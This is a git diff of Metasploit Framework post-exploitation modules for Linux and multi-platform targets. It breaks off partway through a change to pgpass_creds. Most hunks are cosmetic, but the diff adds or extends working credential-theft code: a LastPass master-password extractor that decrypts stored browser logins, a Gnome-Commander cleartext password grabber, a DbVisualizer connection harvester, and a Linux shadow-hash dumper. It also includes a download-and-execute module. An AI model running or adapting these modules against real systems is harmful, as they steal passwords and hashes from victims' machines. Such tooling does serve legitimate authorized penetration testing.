-20,11 +20,11 @@ class Metasploit3 < Msf::Post .log files. }, 'License' => MSF_LICENSE, - 'Author' => [ 'sinn3r'], - 'Platform' => [ 'linux' ], + 'Author' => ['sinn3r'], + 'Platform' => ['linux'], # linux meterpreter is too busted to support right now, # will come back and add support once it's more usable. - 'SessionTypes' => [ 'shell' ], + 'SessionTypes' => ['shell', 'meterpreter'], 'Actions' => [ ['CONFIGS', { 'Description' => 'Collect XCHAT\'s config files' } ], @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Post end def whoami - user = cmd_exec("whoami").chomp + user = cmd_exec("/usr/bin/whoami").chomp return user end @@ -120,7 +120,7 @@ class Metasploit3 < Msf::Post files.each do |f| vprint_status("#{@peer} - Downloading: #{base + f}") buf = read_file(base + f) - next if buf.empty? + next if buf.blank? config << { :filename => f, :data => buf @@ -139,7 +139,7 @@ class Metasploit3 < Msf::Post @peer = "#{session.session_host}:#{session.session_port}" user = whoami - if user.nil? + if user.blank? print_error("#{@peer} - Unable to get username, abort.") return end @@ -149,8 +149,8 @@ class Metasploit3 < Msf::Post configs = get_configs(base) if action.name =~ /ALL|CONFIGS/i chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i - save(:configs, configs) if not configs.empty? - save(:chatlogs, chatlogs) if not chatlogs.empty? + save(:configs, configs) unless configs.empty? + save(:chatlogs, chatlogs) unless chatlogs.empty? end end diff --git a/modules/post/linux/gather/gnome_commander_creds.rb b/modules/post/linux/gather/gnome_commander_creds.rb new file mode 100644 index 0000000000..ef049898e8 --- /dev/null +++ b/modules/post/linux/gather/gnome_commander_creds.rb @@ -0,0 +1,65 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class Metasploit3 < Msf::Post + + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Linux Gather Gnome-Commander Creds', + 'Description' => %q{ + This module collects the clear text passwords stored by + Gnome-commander, a GUI file explorer for GNOME. Typically, these + passwords are stored in the user's home directory, at + ~/.gnome-commander/connections. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'David Bloom' ], # Twitter: @philophobia78 + 'Platform' => %w{ linux }, + 'SessionTypes' => [ 'meterpreter', 'shell'] + )) + end + + def run + user_dirs = [] + # Search current user + user = cmd_exec("whoami").chomp + # User is root + if user == 'root' + print_status("Current user is #{user}, probing all home dirs") + user_dirs << '/root' + # Search home dirs + cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp } + else + # Non root user + print_status("Current user is #{user}, probing /home/#{user}") + user_dirs << "/home/#{user}" + end + # Try to find connections file in users homes + user_dirs.each do |dir| + # gnome-commander connections file + connections_file = "#{dir}/.gnome-commander/connections" + if file?(connections_file) + #File exists + begin + str_file=read_file(connections_file) + print_good("File found: #{connections_file}") + vprint_line(str_file) + #Store file + p = store_loot("connections", "text/plain", session, str_file, connections_file, "Gnome-Commander connections") + print_good("Connections file saved to #{p}") + rescue EOFError + # If there's nothing in the file, we hit EOFError + print_error("Nothing read from file: #{connections_file}, file may be empty") + end + else + # File not found + vprint_error("File not found: #{connections_file}") + end + end + end + +end diff --git a/modules/post/linux/gather/hashdump.rb b/modules/post/linux/gather/hashdump.rb index 7c8497bf63..eb049ae7da 100644 --- a/modules/post/linux/gather/hashdump.rb +++ b/modules/post/linux/gather/hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,11 +16,10 @@ class Metasploit3 < Msf::Post 'Name' => 'Linux Gather Dump Password Hashes for Linux Systems', 'Description' => %q{ Post Module to dump the password hashes for all users on a Linux System}, 'License' => MSF_LICENSE, - 'Author' => [ 'Carlos Perez '], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Author' => ['Carlos Perez '], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) - end # Run Method for when run command is issued @@ -38,16 +37,27 @@ class Metasploit3 < Msf::Post # Unshadow the files john_file = unshadow(passwd_file, shadow_file) john_file.each_line do |l| + hash_parts = l.split(':') + + credential_data = { + jtr_format: 'md5,des,bsdi,crypt', + origin_type: :session, + post_reference_name: self.refname, + private_type: :nonreplayable_hash, + private_data: hash_parts[1], + session_id: session_db_id, + username: hash_parts[0], + workspace_id: myworkspace_id + } + create_credential(credential_data) print_good(l.chomp) end # Save pwd file upassf = store_loot("linux.hashes", "text/plain", session, john_file, "unshadowed_passwd.pwd", "Linux Unshadowed Password File") print_good("Unshadowed Password File: #{upassf}") - else print_error("You must run this module as root!") end - end def unshadow(pf,sf) @@ -63,6 +73,8 @@ class Metasploit3 < Msf::Post end end end - return unshadowed + + unshadowed end + end diff --git a/modules/post/linux/gather/mount_cifs_creds.rb b/modules/post/linux/gather/mount_cifs_creds.rb index d66edf1697..7378f2a109 100644 --- a/modules/post/linux/gather/mount_cifs_creds.rb +++ b/modules/post/linux/gather/mount_cifs_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,16 +11,16 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials', - 'Description' => %q{ - Post Module to obtain credentials saved for mount.cifs/mount.smbfs in - /etc/fstab on a Linux system. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Jon Hart '], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] - )) + 'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials', + 'Description' => %q{ + Post Module to obtain credentials saved for mount.cifs/mount.smbfs in + /etc/fstab on a Linux system. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Jon Hart '], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] + )) end def run diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb index 3110e6dfc4..04ef8c1a3d 100644 --- a/modules/post/linux/gather/pptpd_chap_secrets.rb +++ b/modules/post/linux/gather/pptpd_chap_secrets.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/linux/manage/download_exec.rb b/modules/post/linux/manage/download_exec.rb index ec4d50729b..5e15132d46 100644 --- a/modules/post/linux/manage/download_exec.rb +++ b/modules/post/linux/manage/download_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,24 +15,23 @@ class Metasploit3 < Msf::Post super( update_info( info, 'Name' => 'Linux Manage Download and Execute', 'Description' => %q{ - This module downloads and runs a file with bash. It first tries to uses curl as - its HTTP client and then wget if it's not found. Bash found in the PATH is used to - execute the file. + This module downloads and runs a file with bash. It first tries to uses curl as + its HTTP client and then wget if it's not found. Bash found in the PATH is used + to execute the file. }, 'License' => MSF_LICENSE, 'Author' => [ 'Joshua D. Abraham ', ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) register_options( [ OptString.new('URL', [true, 'Full URL of file to download.']) ], self.class) - end def cmd_exec_vprint(cmd) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 1f07bedb64..77158a2f9d 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/escalate/metasploit_pcaplog.rb b/modules/post/multi/escalate/metasploit_pcaplog.rb index 6679f4377d..ab9535c6c3 100644 --- a/modules/post/multi/escalate/metasploit_pcaplog.rb +++ b/modules/post/multi/escalate/metasploit_pcaplog.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/apple_ios_backup.rb b/modules/post/multi/gather/apple_ios_backup.rb index dd6771d393..31d07e1ba0 100644 --- a/modules/post/multi/gather/apple_ios_backup.rb +++ b/modules/post/multi/gather/apple_ios_backup.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/check_malware.rb b/modules/post/multi/gather/check_malware.rb index b44ce1f005..8a2104215d 100644 --- a/modules/post/multi/gather/check_malware.rb +++ b/modules/post/multi/gather/check_malware.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb new file mode 100644 index 0000000000..3b9abfe73c --- /dev/null +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -0,0 +1,290 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Multi Gather DbVisualizer Connections Settings', + 'Description' => %q{ + DbVisualizer stores the user database configuration in dbvis.xml. + This module retrieves the connections settings from this file. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'David Bloom' ], # Twitter: @philophobia78 + 'Platform' => %w{ linux win }, + 'SessionTypes' => [ 'meterpreter', 'shell'] + )) + end + + def run + + + oldversion = false + + case session.platform + when /linux/ + user = session.shell_command("whoami").chomp + print_status("Current user is #{user}") + if (user =~ /root/) + user_base = "/root/" + else + user_base = "/home/#{user}/" + end + dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml" + when /win/ + if session.type =~ /meterpreter/ + user_profile = session.sys.config.getenv('USERPROFILE') + else + user_profile = cmd_exec("echo %USERPROFILE%").strip + end + dbvis_file = user_profile + "\\.dbvis\\config70\\dbvis.xml" + end + + + unless file?(dbvis_file) + # File not found, we next try with the old config path + print_status("File not found: #{dbvis_file}") + print_status("This could be an older version of dbvis, trying old path") + case session.platform + when /linux/ + dbvis_file = "#{user_base}.dbvis/config/dbvis.xml" + when /win/ + dbvis_file = user_profile + "\\.dbvis\\config\\dbvis.xml" + end + unless file?(dbvis_file) + print_error("File not found: #{dbvis_file}") + return + end + oldversion = true + end + + + print_status("Reading: #{dbvis_file}") + print_line() + raw_xml = "" + begin + raw_xml = read_file(dbvis_file) + rescue EOFError + # If there's nothing in the file, we hit EOFError + print_error("Nothing read from file: #{dbvis_file}, file may be empty") + return + end + + if oldversion + # Parse old config file + db_table = pareseOldConfigFile(raw_xml) + else + # Parse new config file + db_table = pareseNewConfigFile(raw_xml) + end + + if db_table.rows.empty? + print_status("No database settings found") + else + print_line("\n") + print_line(db_table.to_s) + print_good("Try to query listed databases with dbviscmd.sh (or .bat) -connection -sql and have fun !") + print_line() + # store found databases + p = store_loot( + "dbvis.databases", + "text/csv", + session, + db_table.to_csv, + "dbvis_databases.txt", + "dbvis databases") + print_good("Databases settings stored in: #{p.to_s}") + end + + print_status("Downloading #{dbvis_file}") + p = store_loot("dbvis.xml", "text/xml", session, read_file(dbvis_file), "#{dbvis_file}", "dbvis config") + print_good "dbvis.xml saved to #{p.to_s}" + end + + + # New config file parse function + def pareseNewConfigFile(raw_xml) + + db_table = Rex::Ui::Text::Table.new( + 'Header' => "Dbvis Databases", + 'Indent' => 2, + 'Columns' => + [ + "Alias", + "Type", + "Server", + "Port", + "Database", + "Namespace", + "Userid", + ]) + + dbs = [] + db = {} + dbfound = false + versionFound = false + # fetch config file + raw_xml.each_line do |line| + + if versionFound == false + vesrionFound = findVersion(line) + end + + if line =~ // + dbfound = false + if db[:Database].nil? + db[:Database] = ""; + end + if db[:Namespace].nil? + db[:Namespace] = ""; + end + # save + dbs << db if (db[:Alias] and db[:Type] and db[:Server] and db[:Port] ) + db = {} + end + + if dbfound == true + # get the alias + if (line =~ /([\S+\s+]+)<\/Alias>/i) + db[:Alias] = $1 + end + + # get the type + if (line =~ /([\S+\s+]+)<\/Type>/i) + db[:Type] = $1 + end + + # get the user + if (line =~ /([\S+\s+]+)<\/Userid>/i) + db[:Userid] = $1 + end + + # get the server + if (line =~ /([\S+\s+]+)<\/UrlVariable>/i) + db[:Server] = $1 + end + + # get the port + if (line =~ /([\S+]+)<\/UrlVariable>/i) + db[:Port] = $1 + end + + # get the database + if (line =~ /([\S+\s+]+)<\/UrlVariable>/i) + db[:Database] = $1 + end + + # get the Namespace + if (line =~ /([\S+\s+]+)<\/UrlVariable>/i) + db[:Namespace] = $1 + end + end + end + + # Fill the tab and report eligible servers + dbs.each do |db| + if ::Rex::Socket.is_ipv4?(db[:Server].to_s) + print_good("Reporting #{db[:Server]} ") + report_host(:host => db[:Server]); + end + + db_table << [ db[:Alias] , db[:Type] , db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid]] + end + return db_table + end + + + # New config file parse function + def pareseOldConfigFile(raw_xml) + + db_table = Rex::Ui::Text::Table.new( + 'Header' => "Dbvis Databases", + 'Indent' => 2, + 'Columns' => + [ + "Alias", + "Type", + "Url", + "Userid", + ]) + + dbs = [] + db = {} + dbfound = false + versionFound = false + + # fetch config file + raw_xml.each_line do |line| + + if versionFound == false + vesrionFound = findVersion(line) + end + + if line =~ // + dbfound = false + # save + dbs << db if (db[:Alias] and db[:Url] ) + db = {} + end + + if dbfound == true + # get the alias + if (line =~ /([\S+\s+]+)<\/Alias>/i) + db[:Alias] = $1 + end + + # get the type + if (line =~ /([\S+\s+]+)<\/Type>/i) + db[:Type] = $1 + end + + # get the user + if (line =~ /([\S+\s+]+)<\/Userid>/i) + db[:Userid] = $1 + end + + # get the user + if (line =~ /([\S+\s+]+)<\/Url>/i) + db[:Url] = $1 + end + end + end + + # Fill the tab + dbs.each do |db| + if (db[:Url] =~ /[\S+\s+]+[\/]+([\S+\s+]+):[\S+]+/i) + if ::Rex::Socket.is_ipv4?($1.to_s) + print_good("Reporting #{$1}") + report_host(:host => $1.to_s) + end + end + db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid] ] + end + return db_table + end + + + def findVersion(tag) + found = false + if (tag =~ /([\S+\s+]+)<\/Version>/i) + print_good("DbVisualizer version : #{$1}") + found = true + end + return found + end + +end diff --git a/modules/post/multi/gather/dns_bruteforce.rb b/modules/post/multi/gather/dns_bruteforce.rb index f9e4aa361b..294e74a171 100644 --- a/modules/post/multi/gather/dns_bruteforce.rb +++ b/modules/post/multi/gather/dns_bruteforce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/dns_reverse_lookup.rb b/modules/post/multi/gather/dns_reverse_lookup.rb index 52a9d94de1..8e562b4db8 100644 --- a/modules/post/multi/gather/dns_reverse_lookup.rb +++ b/modules/post/multi/gather/dns_reverse_lookup.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/dns_srv_lookup.rb b/modules/post/multi/gather/dns_srv_lookup.rb index 7715e6cfbe..3ae16da37f 100644 --- a/modules/post/multi/gather/dns_srv_lookup.rb +++ b/modules/post/multi/gather/dns_srv_lookup.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/enum_vbox.rb b/modules/post/multi/gather/enum_vbox.rb index 99ae3a145f..d5a4b2591f 100644 --- a/modules/post/multi/gather/enum_vbox.rb +++ b/modules/post/multi/gather/enum_vbox.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/env.rb b/modules/post/multi/gather/env.rb index c7efcf42d5..c4042f6ea8 100644 --- a/modules/post/multi/gather/env.rb +++ b/modules/post/multi/gather/env.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/fetchmailrc_creds.rb b/modules/post/multi/gather/fetchmailrc_creds.rb index 4691adc616..9b9de9aff2 100644 --- a/modules/post/multi/gather/fetchmailrc_creds.rb +++ b/modules/post/multi/gather/fetchmailrc_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/filezilla_client_cred.rb b/modules/post/multi/gather/filezilla_client_cred.rb index f9c6b9cf58..c49d05748a 100644 --- a/modules/post/multi/gather/filezilla_client_cred.rb +++ b/modules/post/multi/gather/filezilla_client_cred.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/find_vmx.rb b/modules/post/multi/gather/find_vmx.rb index 4d38b48363..eb16f3e85b 100644 --- a/modules/post/multi/gather/find_vmx.rb +++ b/modules/post/multi/gather/find_vmx.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 0b39193458..16554e894c 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -1,12 +1,26 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## +# +# Standard Library +# + +require 'tmpdir' + +# +# Gems +# + +require 'zip' + +# +# Project +# + require 'msf/core' require 'rex' -require 'zip/zip' -require 'tmpdir' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post @@ -104,10 +118,10 @@ class Metasploit3 < Msf::Post begin # automatically commits the changes made to the zip archive when # the block terminates - Zip::ZipFile.open(tmp) do |zip_file| + Zip::File.open(tmp) do |zip_file| res = modify_omnija(zip_file) end - rescue Zip::ZipError => e + rescue Zip::Error => e print_error("Error modifying #{new_file}") return end diff --git a/modules/post/multi/gather/gpg_creds.rb b/modules/post/multi/gather/gpg_creds.rb index a3a5a4720c..6c296d9118 100644 --- a/modules/post/multi/gather/gpg_creds.rb +++ b/modules/post/multi/gather/gpg_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb new file mode 100644 index 0000000000..64e87043fe --- /dev/null +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -0,0 +1,313 @@ +require 'msf/core' +require 'base64' +require 'sqlite3' +require 'uri' + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Windows::UserProfiles + include Msf::Post::OSX::System + include Msf::Post::Unix + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'LastPass Master Password Extractor', + 'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords', + 'License' => MSF_LICENSE, + 'Author' => [ + 'Alberto Garcia Illera ', # original module and research + 'Martin Vigo ', # original module and research + 'Jon Hart %w(linux osx unix win), + 'References' => [['URL', 'http://www.martinvigo.com/a-look-into-lastpass/']], + 'SessionTypes' => %w(meterpreter shell) + ) + ) + end + + def run + if session.platform =~ /win/ && session.type == "shell" # No Windows shell support + print_error "Shell sessions on Windows are not supported" + return + end + + print_status "Searching for LastPass databases" + + account_map = build_account_map + if account_map.empty? + print_status "No databases found" + return + end + + print_status "Extracting credentials from #{account_map.size} LastPass databases" + + # an array of [user, encrypted password, browser] + credentials = [] # All credentials to be decrypted + account_map.each_pair do |account, browser_map| + browser_map.each_pair do |browser, paths| + if browser == 'Firefox' + paths.each do |path| + data = read_file(path) + loot_path = store_loot( + 'firefox.preferences', + 'text/javascript', + session, + data, + nil, + "Firefox preferences file #{path}" + ) + + # Extract usernames and passwords from preference file + firefox_credentials(loot_path).each do |creds| + credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])] + end + end + else # Chrome, Safari and Opera + paths.each do |path| + data = read_file(path) + loot_path = store_loot( + "#{browser.downcase}.lastpass.database", + 'application/x-sqlite3', + session, + data, + nil, + "#{account}'s #{browser} LastPass database #{path}" + ) + + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + lastpass_user, lastpass_pass = db.execute( + "SELECT username, password FROM LastPassSavedLogins2 " \ + "WHERE username IS NOT NULL AND username != '' " \ + "AND password IS NOT NULL AND password != '';" + ).flatten + if lastpass_user && lastpass_pass + credentials << [account, browser, lastpass_user, lastpass_pass] + end + end + end + end + end + + credentials_table = Rex::Ui::Text::Table.new( + 'Header' => "LastPass credentials", + 'Indent' => 1, + 'Columns' => %w(Account Browser LastPass_Username LastPass_Password) + ) + # Parse and decrypt credentials + credentials.each do |row| # Decrypt passwords + account, browser, user, enc_pass = row + vprint_status "Decrypting password for #{account}'s #{user} from #{browser}" + password = clear_text_password(user, enc_pass) + credentials_table << [account, browser, user, password] + end + unless credentials.empty? + print_good credentials_table.to_s + path = store_loot( + "lastpass.creds", + "text/csv", + session, + credentials_table.to_csv, + nil, + "Decrypted LastPass Master Passwords" + ) + end + end + + # Returns a mapping of { Account => { Browser => paths } } + def build_account_map + platform = session.platform + profiles = user_profiles + found_dbs_map = {} + + if datastore['VERBOSE'] + vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}" + else + print_status "Found #{profiles.size} users" + end + + profiles.each do |user_profile| + account = user_profile['UserName'] + browser_path_map = {} + + case platform + when /win/ + browser_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", + 'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", + 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0", + 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + } + when /unix|linux/ + browser_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", + 'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox" + } + when /osx/ + browser_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", + 'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles", + 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0", + 'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + } + else + print_error "Platform not recognized: #{platform}" + end + + found_dbs_map[account] = {} + browser_path_map.each_pair do |browser, path| + db_paths = find_db_paths(path, browser, account) + found_dbs_map[account][browser] = db_paths unless db_paths.empty? + end + end + + found_dbs_map + end + + # Returns a list of DB paths found in the victims' machine + def find_db_paths(path, browser, account) + paths = [] + + vprint_status "Checking #{account}'s #{browser}" + if browser == "Firefox" # Special case for Firefox + profiles = firefox_profile_files(path, browser) + paths |= profiles + else + paths |= file_paths(path, browser, account) + end + + vprint_good "Found #{paths.size} #{browser} databases for #{account}" + paths + end + + # Returns the relevant information from user profiles + def user_profiles + user_profiles = [] + case session.platform + when /unix|linux/ + if session.type == "meterpreter" + user_names = client.fs.dir.entries("/home") + else + user_names = session.shell_command("ls /home").split + end + user_names.reject! { |u| %w(. ..).include?(u) } + user_names.each do |user_name| + user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}") + end + when /osx/ + user_names = session.shell_command("ls /Users").split + user_names.reject! { |u| u == 'Shared' } + user_names.each do |user_name| + user_profiles.push( + 'UserName' => user_name, + "AppData" => "/Users/#{user_name}/Library", + "LocalAppData" => "/Users/#{user_name}/Library/Application Support" + ) + end + when /win/ + user_profiles |= grab_user_profiles + else + print_error "OS not recognized: #{os}" + end + user_profiles + end + + # Extracts the databases paths from the given folder ignoring . and .. + def file_paths(path, browser, account) + found_dbs_paths = [] + + files = [] + if directory?(path) + sep = session.platform =~ /win/ ? '\\' : '/' + if session.type == "meterpreter" + files = client.fs.dir.entries(path) + elsif session.type == "shell" + files = session.shell_command("ls \"#{path}\"").split + else + print_error "Session type not recognized: #{session.type}" + return found_dbs_paths + end + end + + files.each do |file_path| + unless %w(. .. Shared).include?(file_path) + found_dbs_paths.push([path, file_path].join(sep)) + end + end + + found_dbs_paths + end + + # Returns the profile files for Firefox + def firefox_profile_files(path, browser) + found_dbs_paths = [] + + if directory?(path) + sep = session.platform =~ /win/ ? '\\' : '/' + if session.type == "meterpreter" + files = client.fs.dir.entries(path) + elsif session.type == "shell" + files = session.shell_command("ls \"#{path}\"").split + else + print_error "Session type not recognized: #{session.type}" + return found_dbs_paths + end + + files.reject! { |file| %w(. ..).include?(file) } + files.each do |file_path| + found_dbs_paths.push([path, file_path, 'prefs.js'].join(sep)) if file_path.match(/.*\.default/) + end + end + + found_dbs_paths + end + + # Parses the Firefox preferences file and returns encoded credentials + def firefox_credentials(loot_path) + credentials = [] + File.readlines(loot_path).each do |line| + if /user_pref\("extensions.lastpass.loginpws", "(?.*)"\);/ =~ line + creds_per_user = encoded_creds.split("|") + creds_per_user.each do |user_creds| + parts = user_creds.split('=') + # Any valid credentials present? + credentials << parts if parts.size > 1 + end + else + next + end + end + + credentials + end + + # Decrypts the password + def clear_text_password(email, encrypted_data) + return if encrypted_data.blank? + + sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email) + sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin + + if encrypted_data.include?("|") # Apply CBC + decipher = OpenSSL::Cipher.new("AES-256-CBC") + decipher.decrypt + decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary + decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | + encrypted_password = encrypted_data[26..-1] + else # Apply ECB + decipher = OpenSSL::Cipher.new("AES-256-ECB") + decipher.decrypt + decipher.key = sha256_binary_email + encrypted_password = encrypted_data + end + + begin + decipher.update(Base64.decode64(encrypted_password)) + decipher.final + rescue + print_error "Password for #{email} could not be decrypted" + end + end +end diff --git a/modules/post/multi/gather/multi_command.rb b/modules/post/multi/gather/multi_command.rb index 8f8966ce45..08e9822b86 100644 --- a/modules/post/multi/gather/multi_command.rb +++ b/modules/post/multi/gather/multi_command.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/netrc_creds.rb b/modules/post/multi/gather/netrc_creds.rb index df8008e840..4bd3f3e381 100644 --- a/modules/post/multi/gather/netrc_creds.rb +++ b/modules/post/multi/gather/netrc_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/pgpass_creds.rb b/modules/post/multi/gather/pgpass_creds.rb index 1626252cad..09c3450e84 100644 --- a/modules/post/multi/gather/pgpass_creds.rb +++ b/modules/post/multi/gather/pgpass_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -73,6 +73,8 @@ class Metasploit3 < Msf::Post ) read_file(f).each_line do |entry| + # skip comments + next if entry.lstrip[0,1] == "#" ip, port, db, user, pass = entry.chomp.split(/:/, 5) # Fix for some weirdness that happens with backslashes @@ -97,21 +99,46 @@ class Metasploit3 < Msf::Post end pass = p + + # Display the original before we try to report it, so the user + # sees whatever was actually in the file in case it's weird cred_table << [ip, port, db, user, pass] - cred_hash = { - :host => session.session_host, - :port => port, - :user => user, - :pass => pass, - :ptype => "password", - :sname => "postgres", - :source_type => "Cred", - :duplicate_ok => true, - :active => true + if ip == "*" || ip == "localhost" + ip = session.session_host + else + ip = Rex::Socket.getaddress(ip) + end + + # Use the default postgres port if the file had a wildcard + port = 5432 if port == "*" + + credential_data = { + origin_type: :session, + session_id: 